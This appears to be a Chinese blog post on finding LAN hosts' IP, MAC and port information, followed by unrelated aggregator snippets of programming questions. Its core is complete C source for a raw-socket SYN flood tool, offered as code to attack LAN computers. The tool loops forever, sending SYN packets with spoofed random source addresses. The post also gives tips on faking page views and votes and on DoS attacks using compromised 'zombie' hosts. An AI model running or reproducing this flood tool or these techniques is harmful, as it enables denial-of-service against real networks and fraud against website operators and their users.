查询局域网电脑的IP,端口号,MAC地址

2023-11-17

网上看到很多都是使用nmap工具,这个工具我没有使用过,我自己实现nmap工具的功能,首先我们查询局域网内有哪些电脑是alive的,下面我写了一个脚本:

ping.sh   


这样局域网内哪些电脑的ip是alive的就可以知道,下面来查看对于IP的MAC地址,使用cat /proc/net/arp  命令:



然后在使用netstat  -an命令来分析端口号。

这样我们就轻松获取了局域网内所有电脑的信息,这时候我们使用网络编程,破坏三次握手协议去攻击电脑,或者获取抓包数据等。

查看结果分析:

Proto Recv-Q Send-Q Local Address           Foreign Address         State  
  Local Adress代表本地开放的端口,
  Foreign Adress代表的是外网的地址,
  State代表的是状态。
  Foreign Adress代表连接外网的地址。比如说登录QQ的服务器或者打开网页时都会显示不同的IP地址。
  listening代表正在监听的端口
  Established表示已激活的IP和端口
  wait表示正在等待监听


下面是我写的一个代码,可以攻击局域网内电脑:

main.c

[html] view plain copy  在CODE上查看代码片派生到我的代码片
  1. <span style="font-size:18px;">#include<errno.h>  
  2. #include<string.h>  
  3. #include<netdb.h>  
  4. #include<stdio.h>  
  5. #include<stdlib.h>  
  6. #include<unistd.h>  
  7. #include<netinet/ip.h>  
  8. #include<netinet/tcp.h>  
  9.   
  10. void send_data(int sockfd,struct sockaddr_in *addr,char *port);  
  11. unsigned short check_sum(unsigned short *addr,int len);  
  12.   
  13. // ./argv[0] des_hostname/ip   des_port  local_port    
  14. int main(int argc,char *argv[])   
  15. {   
  16.     int sockfd;   
  17.     struct sockaddr_in addr;   
  18.     struct hostent *host;   
  19.     int on=1;   
  20.       
  21.     if(argc!=4)   
  22.     {   
  23.         fprintf(stderr,"Usage:%s des_hostname/ip des_port  local_port\n",argv[0]);   
  24.         exit(EXIT_FAILURE);   
  25.     }   
  26.     
  27.     memset(&addr,0,sizeof(struct sockaddr_in));  
  28.     addr.sin_family=AF_INET;   
  29.      
  30.     if(inet_aton(argv[1],&addr.sin_addr)==0)   
  31.     {   
  32.         host=gethostbyname(argv[1]);   
  33.         if(host==NULL)   
  34.             {   
  35.                     fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));   
  36.                     exit(EXIT_FAILURE);   
  37.             }   
  38.             addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);   
  39.     }   
  40.     addr.sin_port=htons(atoi(argv[2]));   
  41.   
  42.     sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);   
  43.     if(sockfd<0)   
  44.     {   
  45.         fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));   
  46.         exit(EXIT_FAILURE);   
  47.     }   
  48.     setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));   
  49.   
  50.     send_data(sockfd,&addr,argv[3]);   
  51. }    
  52.   
  53. void send_data(int sockfd,struct sockaddr_in *addr,char *port)   
  54. {   
  55.     char buffer[100];  
  56.     struct iphdr *ip;   
  57.     struct tcphdr *tcp;   
  58.     int head_len;   
  59.   
  60.     head_len=sizeof(struct iphdr)+sizeof(struct tcphdr);   
  61.     bzero(buffer,100);   
  62.     ip=(struct iphdr *)buffer;   
  63.     ip->version=IPVERSION;  
  64.     ip->ihl=sizeof(struct ip)>>2;  
  65.     ip->tos=0;  
  66.     ip->tot_len=htons(head_len);   
  67.     ip->id=0;  
  68.     ip->frag_off=0;  
  69.     ip->ttl=MAXTTL;  
  70.     ip->protocol=IPPROTO_TCP;  
  71.   
  72.     ip->check=0;  
  73.     ip->daddr = addr->sin_addr.s_addr;  
  74.     
  75.     tcp=(struct tcphdr *)(buffer +sizeof(struct ip));   
  76.     tcp->source=htons(atoi(port));  
  77.     tcp->dest=addr->sin_port;   
  78.     tcp->seq=random();   
  79.     tcp->ack_seq=0;   
  80.     tcp->doff=5;   
  81.     tcp->syn=1;   
  82.     tcp->check=0;   
  83.   
  84.   
  85.     while(1)   
  86.     {   
  87.         ip->saddr=random();        
  88.     tcp->check=0;      
  89.     tcp->check=check_sum((unsigned short *)tcp,   
  90.              sizeof(struct tcphdr));    
  91.         sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,(socklen_t)sizeof(struct sockaddr_in));   
  92.     }   
  93. }   
  94.   
  95. unsigned short check_sum(unsigned short *addr,int len)   
  96. {   
  97.     register int nleft=len;   
  98.     register int sum=0;   
  99.     register short *w=addr;   
  100.     short answer=0;   
  101.     while(nleft>1)   
  102.     {   
  103.         sum+=*w++;   
  104.         nleft-=2;   
  105.     }   
  106.     if(nleft==1)   
  107.     {   
  108.         *(unsigned char *)(&answer)=*(unsigned char *)w;   
  109.         sum+=answer;   
  110.     }   
  111.   
  112.     sum=(sum>>16)+(sum&0xffff);   
  113.     sum+=(sum>>16);   
  114.     answer=~sum;   
  115.     return(answer);   
  116. }  
  117. </span>  

下面在提供一些黑客技术的入门:

各大博客刷访问量的实现:首先使用Fiddler4抓取header信息,然后使用python构造header,ip等就可以轻松实现,本人各大博客,QQ空间刷赞,网页投票链接都测试过,非常实用。具体代码我就不上传上来了。也可以在Linux下使用tcpdump来抓包分析,抓包是讲究技巧的,这个手段是大量黑客长使用的方法。

攻击网页就更简单了,在python中使用不断请求,打开,采取多线程编程可以造成网络拥堵,来达到攻击的目的。如果是想黑掉整个服务器,请才用dos抓取肉鸡的方式,首选得获取到管理员权限(这个是难点)。

年轻就是资本,有的是时间和青春去挥霍,去学习技术。

不要把这些技术用到不正当的场合,开心一下就行。


我喜欢程序员,他们单纯、固执、容易体会到成就感;面对压力,能够挑灯夜战不眠不休;面对困难,能够迎难而上挑战自我。他们也会感到困惑与傍徨,但每个程序员的心中都有一个比尔盖茨或是乔布斯的梦想“用智慧开创属于自己的事业”。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

查询局域网电脑的IP,端口号,MAC地址 的相关文章

  • BASIC 中的 C 语言中的 PeekInt、PokeInt、Peek、Poke 等效项

    我想知道该命令的等效项是什么Peek and Poke 基本和其他变体 用 C 语言 类似PeekInt PokeInt 整数 涉及内存条的东西 我知道在 C 语言中有很多方法可以做到这一点 我正在尝试将基本程序移植到 C 语言 这只是使用
  • C# 异步等待澄清?

    我读了here http blog stephencleary com 2012 02 async and await html that 等待检查等待的看看它是否有already完全的 如果 可等待已经完成 那么该方法将继续 运行 同步
  • 通过引用传递 [C++]、[Qt]

    我写了这样的东西 class Storage public Storage QString key const int value const void add item QString int private QMap
  • 如何在 Cassandra 中存储无符号整数?

    我通过 Datastax 驱动程序在 Cassandra 中存储一些数据 并且需要存储无符号 16 位和 32 位整数 对于无符号 16 位整数 我可以轻松地将它们存储为有符号 32 位整数 并根据需要进行转换 然而 对于无符号 64 位整
  • 如何在 C# 中打开 Internet Explorer 属性窗口

    我正在开发一个 Windows 应用程序 我必须向用户提供一种通过打开 IE 设置窗口来更改代理设置的方法 Google Chrome 使用相同的方法 当您尝试更改 Chrome 中的代理设置时 它将打开 Internet Explorer
  • 传递给函数时多维数组的指针类型是什么? [复制]

    这个问题在这里已经有答案了 我在大学课堂上学习了 C 语言和指针 除了多维数组和指针之间的相似性之外 我认为我已经很好地掌握了这个概念 我认为由于所有数组 甚至多维 都存储在连续内存中 因此您可以安全地将其转换为int 假设给定的数组是in
  • 从经典 ASP 调用 .Net C# DLL 方法

    我正在开发一个经典的 asp 项目 该项目需要将字符串发送到 DLL DLL 会将其序列化并发送到 Zebra 热敏打印机 我已经构建了我的 DLL 并使用它注册了regasm其次是 代码库这使得 IIS 能够识别它 虽然我可以设置我的对象
  • 无限循环与无限递归。两者都是未定义的吗?

    无副作用的无限循环是未定义的行为 看here https coliru stacked crooked com view id 24e0a58778f67cd4举个例子参考参数 https en cppreference com w cpp
  • 对类 static constexpr 结构的未定义引用,g++ 与 clang

    这是我的代码 a cp p struct int2 int x y struct Foo static constexpr int bar1 1 static constexpr int2 bar2 1 2 int foo1 return
  • C++ 多行字符串原始文字[重复]

    这个问题在这里已经有答案了 我们可以像这样定义一个多行字符串 const char text1 part 1 part 2 part 3 part 4 const char text2 part 1 part 2 part 3 part 4
  • 重载 (c)begin/(c)end

    我试图超载 c begin c end类的函数 以便能够调用 C 11 基于范围的 for 循环 它在大多数情况下都有效 但我无法理解和解决其中一个问题 for auto const point fProjectData gt getPoi
  • 人脸 API DetectAsync 错误

    我想创建一个简单的程序来使用 Microsoft Azure Face API 和 Visual Studio 2015 检测人脸 遵循 https social technet microsoft com wiki contents ar
  • 如何定义一个可结构化绑定的对象的概念?

    我想定义一个concept可以检测类型是否T can be 结构化绑定 or not template
  • 为什么 C# 2.0 之后没有 ISO 或 ECMA 标准化?

    我已经开始学习 C 并正在寻找标准规范 但发现大于 2 0 的 C 版本并未由 ISO 或 ECMA 标准化 或者是我从 Wikipedia 收集到的 这有什么原因吗 因为编写 审查 验证 发布 处理反馈 修订 重新发布等复杂的规范文档需要
  • 为什么使用小于 32 位的整数?

    我总是喜欢使用最小尺寸的变量 这样效果就很好 但是如果我使用短字节整数而不是整数 并且内存是 32 位字可寻址 这真的会给我带来好处吗 编译器是否会做一些事情来增强内存使用 对于局部变量 它可能没有多大意义 但是在具有数千甚至数百万项的结构
  • 为什么 isnormal() 说一个值是正常的,而实际上不是?

    include
  • 相当于Linux中的导入库

    在 Windows C 中 当您想要链接 DLL 时 您必须提供导入库 但是在 GNU 构建系统中 当您想要链接 so 文件 相当于 dll 时 您就不需要链接 为什么是这样 是否有等效的 Windows 导入库 注意 我不会谈论在 Win
  • C++ 继承的内存布局

    如果我有两个类 一个类继承另一个类 并且子类仅包含函数 那么这两个类的内存布局是否相同 e g class Base int a b c class Derived public Base only functions 我读过编译器无法对数
  • C# 中最小化字符串长度

    我想减少字符串的长度 喜欢 这串 string foo Lorem ipsum dolor sit amet consectetur adipiscing elit Aenean in vehicula nulla Phasellus li
  • 如何确定 CultureInfo 实例是否支持拉丁字符

    是否可以确定是否CultureInfo http msdn microsoft com en us library system globalization cultureinfo aspx我正在使用的实例是否基于拉丁字符集 我相信你可以使

随机推荐

  • 科学数字_科学探秘:解密一组神奇的数字:142857

    众所周知 阿拉伯数字由0 9一共十位计数符号所组成的 是现今全世界都通用的数字 其起源于公元500年前 历史十分悠久 阿拉伯数字可以组成不同的新数字 早前呢有人在金字塔某一地方发现了一组有趣的数字142857 但是不知道具体位置 接下来呢小
  • Python基础学完了再学什么?

    Python基础学完了再学什么 基础阶段学完Python 基础语法 python 容器 函数和文件操作 面向对象 python编程和web基础 Linux 操作系统多任务编程 Python 网络编程 静态 web 服务器 HTML CSS
  • Linux定时清理30天前的Tomcat日志脚本

    一 在tomcat的log路径下新建 sh脚本文件clean sh 内容如下 bin bash logs path mnt tomcat apache tomcat 8 5 23 logs find logs path mtime 30 n
  • 目标检测算法——GFocal loss

    https zhuanlan zhihu com p 147691786
  • 命令行传参

    命令行传参 运行一个程序时传递给它消息 依靠命令行参数给main 函数实现 public class mainTest public static void main String args for int i 0 i lt args le
  • windows上pycharm远程调试GPU服务器报错 Cannot load cudnn shared library

    参考 Pycharm问题 pycharm远程调试报错ImportError libcusolver so 9 0 cannot open shared object file 原因 LD LIBRARY PATH 环境变量pycham没有找
  • 解决uni-app微信小程序底部input输入框,键盘弹起时页面整体上移问题

    一 存在的问题 微信小程序聊天界面 当input 框获取焦点时会自动调起手机键盘 当键盘弹起时 会导致页面整体上移 页面头信息会消失不见 二 需要实现的效果 1 键盘弹出时 底部的输入框跟随键盘上弹 2 页面头固定在顶部不动 3 聊天信息区
  • s-des密码算法实现

    实验二 S DES算法实现 一 S DES算法分析 1 Simplified DES方案 简称S DES方案 它是一个供教学而非安全的加密算法 它与DES的特性和结构类似 但参数小 加密算法涉及五个函数 1 初始置换IP initial p
  • Flutter使用SharedPreferences一直报初始化的问题

    以下代码可以解决 定义一个全局的存储对象 late SharedPreferences sp void main async 加入后可正常使用 WidgetsFlutterBinding ensureInitialized 初始化存储 sp
  • C#readonly关键字

    readonly是一种常量修饰符 区别于const 分别进行记录 先说const const是静态常量或者叫编译时常量 是指编译器在编译时候会对常量进行解析 并将常量的值替换成初始化的那个值 必须在声明的时候初使化 const 关键字声明的
  • Java工程师学快速Python(3)----- 模块、包、库 输入 输出

    简单的说一个 py文件就是一个模块 多个 py文件整合成一个包 各种包的集合就是库 import 语句 想使用 Python 源文件 只需在另一个源文件里执行 import 语句 语法如下 import module1 module2 mo
  • Endnote显示cannot edit range(无法编辑range)

    1 方法1 这种问题的原因可能是选择了 Convert to Unformatted Citations 正确的方法应该是在Word中选择endnote页面 Convert Word Citations to EndNote 然后再 Upd
  • 全栈之前端

    欢迎关注 全栈工程师修炼指南 公众号 设为 星标 每天带你 基础入门 到 进阶实践 再到 放弃学习 专注 企业运维实践 网络安全 系统运维 应用开发 物联网实战 全栈文章 等知识分享 花开堪折直须折 莫待无花空折枝 作者主页 https w
  • 如何在word文档中添加两个目录

    由于需要在一个word文档中添加两个目录 第一个目录表示文章前半部分的内容 第二个目录表示后半部分的内容 对于word不太熟悉的我经过一番折腾之后终于搞定了 在此记录一下 原理 将word文本划分成两个域 而每个域里的标题可以看做是不同的书
  • echarts 关系图 参数_Echarts关系图(使用重力图)

    首先展示一下该关系图效果 很简单的关系图 不过其中经历不少波折 使用的是echarts2 现在贴出代码 1 functiondos 2 var name document getElementById name value 3 post G
  • Pandas玩转数据透视表,用它就够了~

    大家好 我是丁小杰 对于数据透视表 相信对于 Excel 比较熟悉的小伙伴都知道如何使用它 并了解它的强大之处 而在pandas中要实现数据透视就要用到pivot table了 导入示例数据 首先导入演示的数据集 import pandas
  • 【C++】STL之栈(stack)介绍

    栈 stack 栈是一种运算受限的线性表 限定仅在表尾进行插入和删除的操作 插入 push 弹出 pop 其特性就是先进后出 即先插入的元素最后才能弹出 大家可以把栈想象成一个弹夹 你只能在顶层一颗一颗装入子弹 先装的子弹在最底层 打出时也
  • 学什么副业前景好?学一个什么副业比较好?自学副业有哪些?

    很多公司不希望自己的员工做副业 主要还是担心员工做副业会影响到工作 如果员工在下班后的空闲时间搞搞副业 那公司就没法管了呀 你平时下班后的空闲时间都做些什么 学什么副业前景好 1 自学ps 现在很多影楼 摄影工作室 电商商家会把自己拍摄的照
  • JVM调优参数归纳汇总

    GC通常参数 Xss 每个线程的栈大小 Xms 初始堆大小 默认物理内存的1 64 Xmx 最大堆大小 默认物理内存的1 4 Xmn 新生代大小 XX ParallelGCThreads 指定GC工作的线程数量 XX MinHeapSize
  • 查询局域网电脑的IP,端口号,MAC地址

    网上看到很多都是使用nmap工具 这个工具我没有使用过 我自己实现nmap工具的功能 首先我们查询局域网内有哪些电脑是alive的 下面我写了一个脚本 ping sh 这样局域网内哪些电脑的ip是alive的就可以知道 下面来查看对于IP的